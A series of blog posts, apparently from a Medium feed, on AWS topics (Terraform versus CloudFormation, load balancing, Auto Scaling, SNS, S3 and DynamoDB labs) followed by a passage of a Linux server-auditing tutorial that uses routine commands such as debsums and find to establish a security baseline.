Both Terraform and AWS CloudFormation help automate infrastructure deployment on AWS. But why does Terraform sometimes feel faster?

The answer is not simply deployment speed. It comes down to how each tool plans, executes, and handles infrastructure changes.

1. How they execute deployments

Terraform builds a dependency graph to determine which resources can be created or updated independently. It can execute those operations in parallel while respecting dependencies.

CloudFormation also supports parallel resource creation. However, it coordinates deployments through a managed AWS service.

Parallel execution

• Terraform: Configuration → Dependency graph → Independent resource operations in parallel
• CloudFormation: Template → Managed service → Independent resource operations in parallel

Neither tool is automatically faster in every situation. Resource dependencies, AWS service provisioning times, and configuration all affect deployment speed.

2. What happens when something fails?

Failure handling can also affect the experience.

Terraform may leave successfully created resources in place when an operation fails, so you can inspect the error, correct the configuration, and run another plan.

CloudFormation commonly rolls back failed stack operations by default, although other failure-handling options are available.

Failure handling

• Terraform: Apply → Error → Inspect state and resources → Fix → Apply again
• CloudFormation: Stack operation → Error → Rollback by default, or use configured alternatives

Neither approach eliminates troubleshooting. The difference is how recovery is managed.

The takeaway

I wouldn’t choose Terraform solely because it might finish a deployment sooner. I would consider the wider workflow: how infrastructure is reviewed, how changes are tracked, how failures are handled, and how easily the team can maintain the environment.

Terraform is particularly attractive when managing infrastructure across multiple providers or when a team prefers its configuration, provider, and state workflow.

CloudFormation is an equally important tool to understand when working deeply within AWS, especially when native AWS integration and managed stack operations are priorities.

At the end of the day, the real goal isn’t simply to deploy infrastructure faster.

It’s to make infrastructure repeatable, understandable, and reliable.

Terraform vs. CloudFormation: Why Does Terraform Feel Faster? was originally published in AWS in Plain English on Medium, where people are continuing the conversation by highlighting and responding to this story.

In the previous episodes of my AWS Solutions Architect journey, I explored IAM, the networking behind cloud applications, and how applications use services such as Amazon S3 and DynamoDB.

This time, I focused on a question that every cloud architect eventually has to answer:

What happens when the server running your application becomes unavailable?

An application might work perfectly when everything is running as expected. But in a real environment, instances can fail, applications can stop responding, and traffic can increase beyond what a single server can comfortably handle.

Building an application that works is one thing. Designing one that can continue serving users when something goes wrong is another.

That was the focus of this lab: configuring high availability for a web application using an Application Load Balancer, Amazon EC2 Auto Scaling, and Amazon SNS.

1. Why high availability matters

Imagine a web application running on a single EC2 instance.

A user sends a request, the instance processes it, and the application returns a response.

Simple enough.

But what happens if the instance fails?

What if its web server stops responding? What if the application experiences more traffic than the instance can handle?

In a single-server architecture, that instance becomes a potential single point of failure. If it becomes unavailable, users may lose access to the application.

One way to address this is to run multiple instances and introduce a mechanism that distributes incoming requests among them.

This is where high availability begins to take shape.

High availability is the ability of a system to remain accessible and operational despite certain component failures. It is achieved through a combination of redundancy, health monitoring, traffic management, and appropriate recovery mechanisms.

On AWS, several services can work together to support this goal.

For this lab, three were particularly important:

• Application Load Balancer (ALB): distributes incoming application traffic across registered targets.
• Amazon EC2 Auto Scaling: maintains and adjusts the number of EC2 instances according to configured capacity and scaling policies.
• Amazon Simple Notification Service (SNS): sends notifications when configured events occur, such as Auto Scaling launching or terminating instances.

Each service has a different responsibility. The real value comes from how they work together.

2. Introducing the architecture

Before configuring the individual services, it helps to understand the overall design.

The application runs on EC2 instances within an Amazon VPC. An internet-facing Application Load Balancer provides the entry point for incoming web traffic and forwards requests to registered instances.

An Auto Scaling Group manages the fleet of EC2 instances, while a target group provides the ALB with the targets to route requests to and the health checks used to evaluate their availability.

Amazon SNS adds an operational awareness layer by notifying subscribers about selected Auto Scaling events.

The key idea is that the application no longer depends on a single server being available at all times.

Instead, several AWS components work together to distribute traffic, manage compute capacity, monitor target health, and communicate important events.

Let’s look at how each part fits into the design.

3. Creating the Application Load Balancer

The first major component was the Application Load Balancer.

An ALB operates at the application layer of the networking stack and is designed to distribute HTTP and HTTPS traffic to registered targets, such as EC2 instances.

Rather than asking users to connect directly to individual servers, we provide a common entry point through the load balancer.

I configured an internet-facing Application Load Balancer named Web-Application-ALB.

An internet-facing ALB is designed to receive requests from clients over the internet. It is associated with a VPC and requires suitable public subnets to provide that connectivity.

Why does this matter?

Suppose an application runs on three EC2 instances. Without a load-balancing layer, clients may need to know which server to contact, and traffic distribution becomes a separate concern.

With an ALB, clients use a single DNS endpoint. The load balancer then forwards requests to appropriate registered targets based on its listener and routing configuration.

This simplifies the entry point and provides a foundation for distributing traffic as the application grows.

4. Understanding target groups and health checks

Creating the load balancer is only part of the configuration. The ALB also needs to know where to send requests.

That is the role of a target group.

A target group defines the destinations to which the load balancer forwards traffic. In this lab, I worked with the target group named lab-app-target-group, configured to send HTTP traffic to registered EC2 instances on port 80.

Target groups also support health checks.

A health check periodically sends requests to a configured path on a target to determine whether it is responding as expected. The health-check configuration determines how the response is evaluated.

When a registered target is considered unhealthy, the load balancer can stop routing normal requests to it while it remains unhealthy, subject to the target group’s configuration and applicable routing behaviour.

One important distinction: a target can exist in the target group without being healthy or ready to receive traffic. Newly registered instances may initially appear as initial, while an unhealthy target indicates that the configured health checks are failing.

This makes target health worth monitoring during deployment and troubleshooting.

For example, if an EC2 instance is running but the application has not started correctly, the instance’s operating-system status alone does not guarantee that the web application is ready to serve requests.

The target group’s health checks provide another layer of information: whether the application endpoint is responding as expected.

That is a more useful signal than simply checking whether an instance is powered on.

5. Launch templates: making instance deployment repeatable

If an application needs several EC2 instances, configuring each one manually introduces unnecessary work and the possibility of inconsistent setups.

This is where EC2 launch templates become useful.

A launch template stores configuration information that Auto Scaling can use when launching instances. Depending on the template, this can include the Amazon Machine Image (AMI), instance type, security groups, storage settings, IAM instance profile, and user data.

In my lab, I created a launch template named lab-app-launch-template.

The template included user data for installing and configuring the application environment when an instance launches.

The important concept here is automation.

Instead of logging into each new server and repeating the same setup steps, a bootstrap script can perform the required installation and configuration tasks during instance initialization.

This makes it easier to launch multiple instances with a consistent baseline.

However, user data is not a substitute for proper configuration management or ongoing patching. The script must also be tested, and its execution must be monitored so that failed initialization does not go unnoticed.

For a production architecture, I would also consider using versioned launch templates and controlled rollout strategies when changing the application image or startup configuration.

6. Managing capacity with an Auto Scaling Group

With the launch template defined, the next step was to configure an Auto Scaling Group.

An Auto Scaling Group manages a collection of EC2 instances and helps maintain the desired capacity of the application tier.

For this lab, the group was named app-asg.

The configuration shown in my screenshot used a desired capacity of two instances, with a minimum of two and a maximum of four.

These values define the intended capacity boundaries:

• Minimum capacity: 2 — the group should maintain at least two instances under normal Auto Scaling operation.
• Desired capacity: 2 — the group aims to maintain two instances.
• Maximum capacity: 4 — the group can scale out to four instances when scaling policies or other capacity changes call for it.

The maximum value does not mean the group will automatically scale to four instances whenever traffic increases. Scaling behaviour depends on the policies, scheduled actions, or other mechanisms configured for the group.

This is where the architecture becomes more resilient to individual instance failures.

If an instance becomes unhealthy and the Auto Scaling Group detects that it is unhealthy according to its configured health-check mechanism, the group can replace it to maintain capacity.

The exact behaviour depends on the health checks enabled for the group and its configuration.

It is also important to distinguish two concepts:

High availability is not the same as automatic scaling.

High availability aims to keep the application accessible despite certain failures. Auto Scaling helps maintain and adjust the compute fleet. Scaling policies can respond to demand, but simply setting a maximum capacity does not configure a scaling policy by itself.

Together with the ALB and suitable health checks, Auto Scaling helps build an application tier that is not dependent on a fixed, manually managed set of servers.

7. Distributing traffic across Availability Zones

Running multiple instances is useful, but their placement matters too.

An Availability Zone is an isolated location within an AWS Region. Deploying resources across multiple Availability Zones can reduce dependence on a single zone.

For a highly available web tier, the architecture should distribute EC2 capacity across at least two Availability Zones, with the ALB configured to use suitable subnets in those zones.

This provides a better failure boundary than placing every application instance in a single zone.

The benefit is straightforward: if one instance fails, other healthy targets can continue serving requests. If an entire Availability Zone experiences a disruption, the remaining zone may continue serving traffic, provided it has sufficient healthy capacity and the rest of the architecture is configured appropriately.

That final qualification matters.

A multi-AZ design does not automatically guarantee uninterrupted service. The ALB must have healthy targets available, the application must be able to operate across the remaining capacity, and dependencies must not introduce another single point of failure.

High availability is a property of the overall architecture, not a feature delivered by one AWS service alone.

8. Adding notifications with Amazon SNS

The final part of the lab introduced Amazon Simple Notification Service (SNS).

SNS is a managed publish-and-subscribe messaging service. A publisher sends a message to a topic, and SNS delivers that message to its subscribed endpoints according to the subscription and delivery configuration.

For this lab, I used the SNS topic lab-app-sns-topic to receive notifications associated with Auto Scaling events.

During Auto Scaling Group configuration, I selected the notification topic and enabled event types such as instance launches, terminations, and relevant launch or termination failures.

I also subscribed an email endpoint to the topic and confirmed the subscription.

Why does this matter for high availability?

A system can recover from some failures automatically, but that does not mean operators should be unaware of what is happening.

Notifications can help teams identify changes in instance capacity, investigate failed launches, and understand when the application fleet is changing.

For example, repeated instance launch failures may indicate a problem with a launch template, permissions, resource limits, or application initialization.

An SNS notification does not fix those problems by itself. It provides a way to communicate configured events so that they can be investigated.

For a production environment, I would also consider CloudWatch metrics and alarms, centralized logs, and appropriate alerting thresholds. SNS can then be used as a notification destination for those alarms as well.

9. Putting everything together

At this point, the individual components begin to tell one story.

The Application Load Balancer receives application traffic and forwards it to registered targets.

The target group provides the destination configuration and health checks.

The EC2 Auto Scaling Group manages the application instances and maintains configured capacity.

The launch template provides a repeatable instance configuration.

Amazon SNS communicates selected Auto Scaling events to subscribers.

The architecture can be summarized as follows:

In a real multi-AZ deployment, the EC2 instances should be distributed across the selected Availability Zones. The diagram above focuses on the relationships between the services rather than showing every networking component.

The important lesson is that each component solves a different problem. The load balancer distributes traffic, Auto Scaling manages the fleet, health checks help identify unhealthy targets, and SNS provides event notifications.

The result is a more deliberate design than simply launching two EC2 instances and hoping both remain available.

10. What I would consider before taking this into production

A lab is useful for understanding how AWS services fit together. A production environment requires additional design decisions.

Here are several things I would consider before deploying this architecture for real users.

1. Verify application health, not just instance health.

An EC2 instance can be running while its application is broken. Health-check endpoints should reflect whether the application is ready to handle requests, without being so dependent on unrelated services that a minor dependency issue causes unnecessary target removal.

2. Test actual failure scenarios.

Do not assume an architecture is highly available just because it has multiple instances. Test what happens when a web process stops, an instance becomes unhealthy, or an Availability Zone becomes unavailable. Observe how the ALB, target group, and Auto Scaling Group respond.

3. Configure scaling policies deliberately.

Minimum, desired, and maximum capacity define the size boundaries of an Auto Scaling Group. They do not, on their own, determine when the application should scale out or scale in. Choose suitable metrics, thresholds, cooldown or warm-up behaviour, and scaling policies based on the workload.

4. Protect the application tier.

Where possible, keep application instances in private subnets and allow inbound application traffic from the ALB’s security group rather than exposing the instances directly to the internet. The ALB can use public subnets while the web tier remains private, provided routing, outbound access, and application dependencies are configured appropriately.

5. Monitor and test recovery.

SNS notifications are useful, but they are only one part of operations. CloudWatch metrics, logs, alarms, and regular recovery tests help determine whether the architecture is behaving as expected.

6. Consider cost and capacity.

Running multiple instances and a load balancer introduces costs. Capacity should be sufficient to handle expected traffic and the loss of a component, without keeping significantly more resources than the application requires.

These considerations turn a working lab into a more complete architectural design.

Final thoughts

This lab helped me see high availability as more than simply running multiple EC2 instances.

The real work lies in understanding how traffic reaches those instances, how their health is evaluated, how capacity is maintained, and how operators learn when something changes.

The Application Load Balancer, Auto Scaling Group, launch template, target group, and SNS topic each played a distinct role in that design.

And that is what I am increasingly looking for as I continue my AWS Solutions Architect journey: not just what an individual service does, but how it contributes to a larger system.

Because in cloud architecture, the goal is not merely to make an application work when everything is healthy. It is to design the system to respond intelligently when something is not.

Another lab documented. Another piece of the architecture understood.

On to Episode 5.

What Happens When Your Web Server Goes Down in AWS Cloud? was originally published in AWS in Plain English on Medium, where people are continuing the conversation by highlighting and responding to this story.

When building applications in the cloud, it is tempting to think of performance in simple terms:

Fewer layers = less latency.

If an EC2 instance can respond directly to a request, why introduce another component between the user and the server?

That question became particularly interesting during one of my cloud networking projects.

I built an AWS environment with an Application Load Balancer (ALB), EC2 instances distributed across Availability Zones, Auto Scaling, health checks, and Security Groups. I then compared requests sent directly to an EC2 instance with requests routed through the load balancer.

The result was interesting.

The first request through the ALB was measurably slower than direct access to the instance. But subsequent requests were almost identical in average latency.

So, if the load balancer introduces some overhead, why use one at all?

The answer has less to do with making a single request faster and more to do with how an application behaves when you introduce multiple servers, failures, changing traffic, and the need for controlled access.

This article walks through that experiment and what it taught me about designing resilient AWS architectures.

The architecture I built

The practical deployment was built in the AWS Europe (Stockholm) Region (eu-north-1) using a custom Amazon VPC spanning two Availability Zones.

The architecture included:

• An Amazon VPC
• Two Availability Zones
• EC2 instances
• An EC2 Auto Scaling Group
• An internet-facing Application Load Balancer
• An ALB target group
• Health checks
• Security Groups
• An Internet Gateway

Instead of allowing users to connect directly to individual EC2 instances, the Application Load Balancer becomes the entry point for the application.

It receives incoming HTTP traffic and distributes requests to healthy instances in the target group.

The important part of this architecture is that the EC2 instances are no longer treated as individual public endpoints.

The ALB sits in front of them and becomes the component responsible for distributing incoming application traffic.

Why use a load balancer?

At first glance, a load balancer might look like an unnecessary extra hop.

A simple architecture could look like this:

There is very little between the client and the application.

But what happens when the application needs to run on multiple instances?

Now something has to decide where each request should go.

This is where a load balancer becomes useful.

The architecture becomes:

The ALB provides a single entry point while distributing traffic across the available targets.

More importantly, it can use health checks to determine whether a target is healthy enough to receive traffic.

That distinction became important during my experiment.

Building the web tier

For the web tier, I configured an EC2 Auto Scaling Group across two Availability Zones.

The instances hosted a simple web application and were placed behind the Application Load Balancer.

The Security Group configuration was deliberately restrictive.

The instances were configured to accept HTTP traffic on port 80 from the load balancer, rather than treating the instances themselves as unrestricted public endpoints.

This creates a useful separation:

The ALB acts as the public-facing entry point, while the instances form the application tier behind it.

Health checks: the part that changes the architecture

One of the most important features of the setup was the target group health check.

The ALB continuously checks the registered instances.

In my configuration, the health check used HTTP requests to determine whether an instance was responding successfully.

If an instance failed to return the expected response — for example, because its web server had stopped responding — the load balancer could stop routing traffic to that unhealthy target.

This is important because the architecture is no longer simply:

“Send traffic to a server.”

It becomes:

“Send traffic to a healthy server.”

This is one of the reasons the load balancer should not be evaluated purely by asking whether it makes an individual request faster.

It is part of a larger availability strategy.

Now for the interesting part: measuring latency

This is where I wanted to move beyond simply configuring AWS services.

I wanted to see what the extra network layer actually meant for request latency.

I tested two paths.

Test 1: Direct EC2 access

The client connected directly to the EC2 instance through its public IP address.

Test 2: Load-balanced access

The client accessed the application through the ALB’s DNS name.

The results were:

Access pathAverage latencyDirect EC2 access — — — -> 0.320 seconds

ALB — initial request — — — — — — — — ->0.441 seconds

ALB — subsequent requests — — — — — ->0.321 seconds

These numbers came from my particular coursework environment and test conditions, so they should not be interpreted as general AWS performance benchmarks.

But they were useful for understanding the architectural trade-off.

Direct access was faster — initially

The direct EC2 request averaged approximately 0.320 seconds.

There was no load balancer between the client and the instance.

When I introduced the ALB, the first measured request increased to approximately 0.441 seconds.

That’s a difference of around 0.121 seconds compared with the direct request.

At first, that seems to support a simple conclusion:

The load balancer makes the application slower.

But that would be an incomplete interpretation.

The subsequent requests settled at approximately 0.321 seconds, almost the same as the direct-access measurement.

So the more interesting question became:

What exactly are we optimizing for when we introduce a load balancer?

Performance is not the same as availability

This was probably the most important lesson from the experiment.

A direct connection to one EC2 instance can be very simple and fast.

But that architecture also creates a dependency on that particular instance.

If that instance becomes unavailable, the application becomes unavailable.

With a load-balanced architecture, the application can operate across multiple instances.

The traffic path becomes:

                         ┌── EC2 Instance A
                         │
User → ALB ──────────────┼── EC2 Instance B
                         │
                         └── EC2 Instance C

If one of those targets becomes unhealthy, the ALB’s health-check mechanism can prevent traffic from being routed to that unhealthy target.

This is where the architectural value becomes clearer.

The purpose isn’t simply:

“Make this request faster.”

It is also:

“Give the application multiple healthy places to handle requests.”

The role of Auto Scaling

The load balancer was not operating alone.

The architecture also used an EC2 Auto Scaling Group.

This introduces another important cloud architecture concept.

Application demand can change over time.

Instead of permanently relying on a single server, an Auto Scaling Group can manage a fleet of EC2 instances according to the configured scaling behaviour.

The ALB then provides a consistent entry point to that fleet.

Conceptually:

                    ┌── EC2
                    │
                    ├── EC2
User → ALB ─────────┤
                    ├── EC2
                    │
                    └── EC2
                         ▲
                         │
                    Auto Scaling

The result is a separation of responsibilities:

ALB
Distributes incoming application traffic.

Auto Scaling
Manages the EC2 instance fleet according to scaling configuration.

EC2
Runs the application workload.

Health checks
Help determine whether registered targets are healthy.

This separation is one of the things I found particularly useful when thinking about AWS architecture as a system rather than a collection of individual services.

Security is part of the traffic flow

The networking configuration also reinforced something I have encountered repeatedly in cybersecurity:

Connectivity and security cannot really be separated.

The EC2 Security Group was configured so that HTTP traffic to the web tier was allowed from the load balancer rather than simply opening the application server broadly to the internet.

That gives us a traffic model closer to:

Internet
 │
 ▼
 ALB
 │
 │ Allowed application traffic
 ▼
EC2 Web Tier

This is more deliberate than giving every component unrestricted connectivity.

It also demonstrates an important cloud security principle:

Allow communication based on what actually needs to communicate.

A technically functional network is not automatically a well-designed network.

What happens when something fails?

This is where the architecture becomes more interesting than the latency measurement.

Imagine one of the EC2 instances stops responding.

Without a load balancer:

User → Failed EC2 Instance

The user is still attempting to reach the failed resource.

With the load-balanced architecture:

                         ┌── Healthy EC2
                         │
User → ALB ──────────────┼── Unhealthy EC2 ✕
                         │
                         └── Healthy EC2

The health check provides the information the load balancer needs to distinguish between healthy and unhealthy targets.

The traffic can therefore continue toward healthy targets rather than treating every instance as equally available.

This is where the additional architectural layer starts to justify its existence.

The health check provides the information the load balancer needs to distinguish between healthy and unhealthy targets.

The traffic can therefore continue toward healthy targets rather than treating every instance as equally available.

This is where the additional architectural layer starts to justify its existence.

The trade-off: more architecture, more responsibility

The experiment also reminded me that cloud architecture is rarely about finding a single “best” component.

Adding an ALB introduces another layer into the request path.

That means additional configuration, monitoring, troubleshooting, and potentially additional latency.

My experiment measured that difference in a very specific environment.

At the same time, the ALB provides capabilities that direct EC2 access does not provide by itself — particularly centralized traffic distribution and health-aware routing across multiple targets.

So the architectural decision should not be reduced to:

ALB = slower

or

ALB = better

The more useful question is:

What does the application need from its architecture?

For a simple development environment, direct access might be perfectly adequate.

For an application requiring multiple instances, traffic distribution, and health-aware routing, the architecture has different requirements.

What I learned from building it

The most valuable part of this project wasn’t configuring the load balancer.

It was seeing how several AWS components work together to solve a larger problem.

I started with individual services:

VPC.

EC2.

Auto Scaling.

Application Load Balancer.

Security Groups.

Target Groups.

But the actual architecture was the relationship between them.

The VPC provided the network foundation.

The EC2 instances provided compute.

The Auto Scaling Group managed the web-tier fleet.

The ALB provided the traffic entry point and distribution layer.

The target group and health checks provided awareness of target health.

And the Security Groups controlled which traffic was allowed to reach the application tier.

That is a very different way of looking at AWS.

Instead of asking:

“What does this service do?”

I am increasingly asking:

“What problem does this service solve, and what does it need to work with?”

That shift in thinking is one of the most useful things this project gave me.

A final look at the architecture

The architecture demonstrates a simple but important cloud design principle:

High availability isn’t achieved simply by creating more servers.

Those servers need to be placed within a properly designed network, monitored for health, protected by appropriate access controls, and connected through a traffic-distribution mechanism that understands the state of the application.

Final thoughts

This project started as a coursework exercise in cloud networking.

It ended up giving me a much better appreciation of the trade-offs involved in cloud architecture.

The latency experiment was particularly useful because it challenged a very simple assumption:

More infrastructure doesn’t necessarily mean better performance.

The ALB introduced an additional step in the request path, and my measurements captured that overhead during the initial request.

But the architecture was designed for something broader than a single fast request.

It was designed to distribute traffic across multiple compute resources, monitor their health, and provide a consistent entry point to the application.

That is perhaps the bigger lesson I took from the project:

Good cloud architecture isn’t about removing every layer. It’s about understanding why each layer exists.

And sometimes, the layer that adds a little overhead is the one that makes the whole system more resilient.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

Cheers.

Before you go

• Please take a moment to like the post and follow the writer!
• Did you know that over 400,000 developers share what they’re building, learning, and discovering across our platforms every month? Learn how you can contribute here

A Load Balancer Adds Latency. So Why Use One? was originally published in AWS in Plain English on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hello,

In my previous AWS lab, I spent time with the networking foundation behind a cloud application; VPCs, subnets, routing, security groups, and how an EC2 instance fits into the picture.

This time, I moved one layer higher.

The application was already running.

But an application is only part of the architecture.

It also needs somewhere to store its data.

That was the focus of this lab: configuring a web-based employee directory to use Amazon S3 for employee images and Amazon DynamoDB for employee records.

And this was where the difference between running an application and building an application architecture became much clearer to me.

An application needs more than compute

A common way to visualize a web application is:

But in a real cloud environment, the picture becomes more interesting.

The application may need different storage technologies for different types of data.

In this lab:

• Amazon EC2 hosted the employee directory application.

• Amazon S3 was used to store employee images.

• Amazon DynamoDB was used to store employee information.
• IAM controlled what the application was allowed to access.

The lab therefore became less about individual AWS services and more about how those services work together.

First, I gave the application somewhere to store its images

The first problem was Amazon S3.

The employee directory application initially reported that the employee images bucket could not be found.

So I created an S3 bucket specifically for the employee photos.

But creating the bucket wasn’t enough.

The application also needed permission to access it.

This brought IAM back into the picture.

The application was using an IAM role called EmployeeDirectoryAppRole, and I configured an S3 bucket policy that allowed that role to access the bucket.

This was a nice connection to the first episode of the series.

In Episode 1, I explored IAM from the perspective of who can access AWS resources.

Here, I saw that principle applied to an actual workload.

The application itself needs an identity too.

S3: More than just a place to upload files

Once the bucket was configured, I uploaded the employee images.

The lab used ten sample employee images, which were uploaded as objects into the S3 bucket.

What I found interesting here is the separation of responsibilities.

The application doesn’t need to keep employee images directly on the EC2 server.

Instead, the images can live in S3 while the application retrieves them when needed.

That separation is one of the ideas that makes cloud architectures so flexible.

The compute layer doesn’t necessarily have to be responsible for storing everything.

Then the application actually started seeing the images

After associating the S3 bucket with the application and uploading the objects, I returned to the employee directory.

The images were now being retrieved from S3 and displayed by the application.

This was probably the most satisfying point in the lab because I could see the architecture working rather than simply configuring individual AWS services.

The flow was essentially:

Employee image → S3 → Application → User

But images aren’t employee records

There was still another problem.

The application needed somewhere to store information about the employees themselves:

• ID
• Name
• Location
• Email
• Photo reference

This is where Amazon DynamoDB came in.

I created a DynamoDB table named Employees and configured id as the partition key.

Unlike S3, which was handling the image objects, DynamoDB was being used to store the structured employee information required by the application.

This gave me a practical example of why cloud applications often use different storage services for different data types.

DynamoDB: Seeing the data behind the application

After creating the table, the application could finally access the employee data.

I tested this through the application interface by creating employee records, then went directly into DynamoDB to inspect the data.

This was where the lab became particularly useful.

I wasn’t just creating a database table.

I was able to see the relationship between the application interface and the database underneath it.

I could modify attributes such as the employee’s location and email and then verify those changes from the application.

That made the concept of CRUD operations much more tangible:

Create → Read → Update → Delete

The application becomes the interface.

DynamoDB becomes the data layer.

Putting the architecture together

By the end of the lab, the architecture started making much more sense.

At a high level:

And IAM sits across the architecture, determining what the application is allowed to access.

My cybersecurity takeaway

Coming from cybersecurity, there was one thing I kept noticing throughout this lab:

Storage is also an access-control problem.

It’s easy to think of S3 as simply “where files go” and DynamoDB as “where database records go.”

But the moment an application needs to access those resources, identity and permissions become part of the architecture.

The S3 bucket policy in this lab was a practical reminder of the principle I wrote about in Episode 1:

Don’t just ask where the data is. Ask who — or what — is allowed to access it.

That is where cloud architecture and cloud security begin to overlap.

What this lab added to my AWS journey

This lab connected several pieces I’ve been learning separately.

IAM determines identity and permissions.

EC2 provides compute.

S3 provides object storage.

DynamoDB provides a NoSQL data store.

And the VPC provides the networking environment around the application.

The interesting part isn’t knowing what each service does individually.

It’s understanding why you would use them together.

That’s the direction I’m trying to move toward as I continue this Solutions Architect journey.

What’s next?

Another lab, another piece of the architecture.

I’m continuing to document the journey — not simply to record the services I’m learning, but to understand how they fit together into secure and practical cloud solutions.

One lab at a time. One architecture at a time.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

Cheers.

In the previous episode, we initialized the lab environment.

Before we harden the server, we need to know what is currently on it, what is running, who has access, and whether the current state matches what we expect.

Because this Ubuntu VM was prebuilt and we didn’t create it from scratch, we don’t have a trusted baseline.

So System Examination becomes the process of creating that baseline.

Defining the expected state

We cannot determine whether a system is secure until we know what the system is supposed to contain and how it is supposed to behave.

From Episode 1, we know the server is supposed to provide things such as: DNS; web services; database services; SSH; VPN; email; file sharing; printing services.

Our job now is to compare that expected role against the actual state of the VM.

Since there is no detailed baseline documentation, we’re going to build one ourselves.

Module Content

1. Evaluating the Static State
2. Examining User Data
3. System Security Auditing with Lynis
4. File Integrity Monitoring with AIDE
5. Evaluating the Dynamic State
6. Examining Authentication Logs
7. Testing Failed Authentication Attempts

Evaluating the Static State

Now that we have defined what the server is expected to provide, we can begin examining what is actually present on the system.

We will start with the static state — the software, files, users, permissions, and other information that describes the current state of the server.

What Software Is Installed?

The first question is simple:

What software is installed on this server, and does it belong here?

Since the server is prebuilt, we should not assume that every installed package is required.

We can get a list of installed packages with:

apt list --installed

You can also use:

dpkg --get-selections

The output may contain a large number of packages, so we are mainly interested in identifying software that has security significance.

For example:

• Web servers
• Database servers
• SSH
• DNS services
• Mail services
• File-sharing services
• Network utilities
• Administrative tools

The goal is not simply to create a list.

We want to identify unnecessary software, because every unnecessary service or package can increase the system’s attack surface.

Are the Installed Packages Up to Date?

Knowing what is installed is only half of the picture.

We also need to determine whether the installed software is current.

First, refresh the package information:

sudo apt update

Then check whether updates are available:

apt list — upgradable

This gives us an initial view of packages that may require updates.

For security purposes, outdated software deserves particular attention because known vulnerabilities may exist for older versions.

This leads to our next question:

Does any of the installed software have known security vulnerabilities?

Check for Known Vulnerabilities

Once we identify important packages, we can investigate their versions and check whether they are associated with known Common Vulnerabilities and Exposures (CVEs).

For example, we can check the installed OpenSSH packages with:

dpkg -l | grep openssh

Record the installed version and investigate whether that specific version has known vulnerabilities.

The important point here is that finding a CVE associated with a piece of software does not automatically mean the server is vulnerable.

We need to consider:

This is the mindset we want to develop throughout this project.

Is the Software’s Integrity Intact?

Knowing what software is installed does not tell us whether those files have been modified.

A package may be installed legitimately, but one of its files could have been changed after installation.

To examine this, we will use debsums.

Install it with:

sudo apt install debsums

Once installed, we can use it to verify files belonging to installed Debian packages.

Check the Integrity of OpenSSH

The lab specifically asks us to examine the openssh-client package.

Run:

sudo debsums -a openssh-client

The command compares the files against the checksums recorded for the package.

The important thing to understand here is that we are establishing whether the files currently on the system match what the package manager expects.

Check for Packages Without Checksums

Not every package necessarily has checksum information available.

We can identify packages without checksum files using:

sudo debsums –l

This is useful because it also shows us one of the limitations of relying on a single integrity-checking tool.

A security examination should always consider what the tool can and cannot verify.

Can debsums Detect a Modified Configuration File?

Let’s test it ourselves.

First, create a backup of the SSH client configuration:

sudo cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak

Now make a small, harmless modification:

sudo nano /etc/ssh/ssh_config

Add a comment such as:

# Test modification

Save the file and run:

sudo debsums -a openssh-client

We can also specifically check changed configuration files with:

sudo debsums –ce

Now we can answer an important question:

Does the integrity-checking tool detect the change we introduced?

This small experiment helps us understand how file-integrity checking works rather than simply trusting the output of a tool.

What Happens When a Package File Is Missing?

First, locate scp:

We’re examining this on the Secure Copy Protocol

which scp

We should see something similar to:

/usr/bin/scp

Rename the file:

sudo mv /usr/bin/scp /usr/bin/scp.orig

Now run:

sudo debsums -a openssh-client

Observe the result.

debsums was able to detect the missing file

After the test, restore the file:

sudo mv /usr/bin/scp.orig /usr/bin/scp

Run the integrity check again.

This gives us another practical example of how integrity monitoring can identify changes to package-managed files.

What Configuration Files Have Changed?

Now we can broaden our examination.

Run:

sudo debsums -ce

This helps identify package-installed configuration files whose recorded checksums no longer match.

But there is an important question:

Are there configuration files that have changed but are not reported by debsums?

The answer can be yes.

This is why debsums should be viewed as one examination tool, rather than a complete system-integrity solution.

📝: Later in this project, we will look at tools designed specifically for broader file-integrity monitoring.

Who Can Obtain Elevated Privileges?

Next, we examine privileged access.

We already created the admin account during the lab initialization, so we need to determine who can use sudo and what privileges they have.

Start by checking membership of the sudo group:

getent group sudo

Then examine the privileges assigned to a particular user:

sudo -l -U admin

We can also examine the sudo configuration:

sudo visudo

And check additional configuration files:

sudo ls -la /etc/sudoers.d/

The question we are trying to answer is:

Who can become privileged on this system, and how?

This will become particularly important when we begin hardening access controls.

Examining User Data

Software is only one part of the system.

We also need to examine the data and accounts belonging to users.

What User Accounts Exist?

Start by looking at the account database:

cat /etc/passwd

There may be many entries because Linux uses accounts for both human users and system services.

To focus on regular users, we can examine accounts with higher UIDs:

awk -F: '$3 >= 1000 && $3 < 65534 {print $1, $3, $6, $7}' /etc/passwd

We are interested in questions such as:

• What user accounts exist?
• Which accounts belong to actual users?
• Which accounts have interactive login shells?
• Are there accounts we do not expect?

An account that exists without a legitimate purpose is worth investigating.

What Files Exist in User Directories?

Next, we examine the contents of user directories.

For example:

sudo find /home -type f -exec file {} \;

This helps us identify different types of files stored by users, including documents, scripts, executables, archives, and other data.

We are not looking for anything simply because it is unusual.

We are looking for files that do not make sense for the role of the user or the server.

Check for Resource Limits and Quotas

A system can also be examined from the perspective of resource usage.

Check the current resource limits with:

ulimit -a

We can also examine the system’s limits configuration:

cat /etc/security/limits.conf

And:

ls -la /etc/security/limits.d/

For filesystem quotas, check whether quota tools or quota-related mount options are configured.

The purpose is to determine whether users have restrictions on the amount of system resources they can consume.

This matters because uncontrolled resource usage can affect system availability.

Look for Bad or Unexpected Files

Now we start looking for files that may represent poor security practices or unexpected activity.

1. World-writable files

Search user directories for files or directories that anyone can write to:

sudo find /home -xdev -perm -0002 -ls

A world-writable file is not automatically malicious, but it should be investigated.

The question here is:

Does this file actually need to be writable by everyone?

Everything is perfect on our server in this regard.

2. Hidden files

Linux makes extensive use of hidden files, so finding one does not automatically indicate a problem.

We can examine hidden files in user directories with:

sudo find /home -mindepth 1 -name '.*' –print

Files such as .bashrc, .profile, and .ssh may be completely legitimate.

We are looking for anything unexpected.

Search for SetUID and SetGID Files

SetUID and SetGID files deserve special attention because they can execute with the privileges of their owner or group.

Search user directories with:

sudo find /home -xdev \( -perm -4000 -o -perm -2000 \) -ls

If an ordinary user owns a SetUID or SetGID executable, that should be investigated carefully.

